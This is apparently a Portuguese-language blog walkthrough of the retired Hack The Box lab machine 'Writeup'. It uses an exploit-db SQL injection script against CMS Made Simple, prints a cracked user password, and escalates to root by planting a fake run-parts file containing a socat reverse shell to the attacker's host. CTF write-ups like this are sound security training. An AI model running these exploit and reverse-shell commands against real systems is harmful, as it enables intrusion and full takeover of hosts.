Writeup

writeup

Salve, Salve Galera,
Estou aqui novamente para apresentar mais um walkthrough para vocês. Dessa vez lhes trago Writeup.
Essa máquina possui o nível de dificuldade baixo e pode ser acessada apenas sendo assinante do HTB. Visto que ela encontra-se na listagem de RETIRED MACHINES.

Sem mais delongas, vamos ao que interessa!

Utilizando o nmap para verificar as portas abertas existentes.

root@kali:~/htb/writeup# nmap -sC -sV -sS -Pn 10.10.10.138
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 21:30 EDT
Nmap scan report for 10.10.10.138
Host is up (0.24s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.36 seconds
root@kali:~/htb/writeup#

Só temos os serviços SSH e HTTP disponíveis. Logo vamos começar nossa análise pela aplicação web.

writeup2

Pela mensagem na tela, utilizar o dirsearch não é uma boa opção.

Bem…analisando o output do nmap, também identificamos que existe uma entrada chamada writeup no arquivo robots.txt.

writeup3

Analisando o código fonte dessa página, percebemos que trata-se de um CMS chamado “CMS Made Simple”. Outro ponto relevante, é que aparentemente esse cms está atualizado até 2019.

writeup5

Procurando no exploitdb, encontramos o CVE: 2019-9053.

An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

Pela data de publicação do CVE, existe a possibilidade desse CMS está vulnerável a essa falha.  O jeito é baixar o exploit e testar!

root@kali:~/htb/writeup# wget https://www.exploit-db.com/raw/46635 -O 46635.py
--2020-04-07 22:43:25-- https://www.exploit-db.com/raw/46635
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.8
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.8|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6456 (6.3K) [text/plain]
Saving to: ‘46635.py’

46635.py 100%[===================================================================================>] 6.30K --.-KB/s in 0s

2020-04-07 22:43:32 (234 MB/s) - ‘46635.py’ saved [6456/6456]

root@kali:~/htb/writeup# python 46635.py -u http://10.10.10.138/writeup/ --crac -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Agora que temos uma credencial válida, podemos verificar se ocorreu reutilização de senha.

root@kali:~/htb/writeup# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$

474579_340579822646027_100000820357327_862914_1138730951_o

Agora basta coletar a flag de user.

writeup6

Hora de escalonar privilégio para root.

Executando o comando id verificamos que o usuário jkr está em diversos grupos.

jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

O que nos chamou mais atenção foi o grupo staff.

staff: Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may “override” the executables in /bin and /usr/bin with the same name). Compare with group “adm”, which is more related to monitoring/security.

Como podemos ver abaixo, temos acesso de escrita no diretório /usr/local/bin. Além disso, esse diretório possuí a maior precedência.

jkr@writeup:/usr/local/bin$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
jkr@writeup:/usr/local/bin$ ls -ld /usr/local/bin
drwx-wsr-x 2 root staff 20480 Apr 8 21:27 /usr/local/bin
jkr@writeup:/usr/local/bin$

O próximo passo é executar o pspy para monitorar os processos em execução.

writeup7

jkr@writeup:/usr/local/bin$ cat htb.txt
leandro esteves
jkr@writeup:/usr/local/bin$ cat htb.txt
cat: htb.txt: No such file or directory

Com pode ser visto acima, identificamos uma rotina de limpeza que executa a cada minuto apagando o conteúdo que criamos dentro do diretório /usr/local/bin. Além disso, identificamos que uma outra rotina é chamada logo após a conexão ssh.

writeup8

Simplificando:

  • A rotina cria um novo PATH em tempo de execução, o qual também temos acesso de escrita nos diretórios de maior precedência.
  • A rotina está utilizando o run-parts para executar um script dentro do diretório /etc/update-motd.d.
jkr@writeup:~$ ls -l /etc/update-motd.d/
total 4
-rwxr-xr-x 1 root root 23 Jun 3 2018 10-uname
jkr@writeup:~$
  • E esse script chama apenas o uname.
jkr@writeup:/etc/update-motd.d$ cat 10-uname
#!/bin/sh
uname -rnsom
jkr@writeup:/etc/update-motd.d$
  • Essa rotina está sendo executada com privilégio de root.

Juntando todas essas informações, conseguimos com facilidade escalonar privilégio para root na máquina.  Precisamos apenas criar um shell reverso com o nome de run-parts dentro do path.

jkr@writeup:~$echo -e '#!/bin/bash\nsocat exec:'\'bash -li\'',pty,stderr,setsid,sigint,sane tcp:10.10.14.23:4444' > /usr/local/bin/run-parts && chmod +x /usr/local/bin/run-parts

Na próxima conexão SSH… (Lembrando que a rotina de limpeza roda a cada minuto)

root@kali:~# socat file:`tty`,raw,echo=0 tcp-listen:4444
root@writeup:/# id
uid=0(root) gid=0(root) groups=0(root)
root@writeup:/#

Flag de system/root coletada.

writeup9

 

 

 

Referências:

https://www.exploit-db.com/exploits/46635
https://wiki.debian.org/SystemGroups
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#generating-reverse-shell-commands

 

writeup10

Publicado em HTB.

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.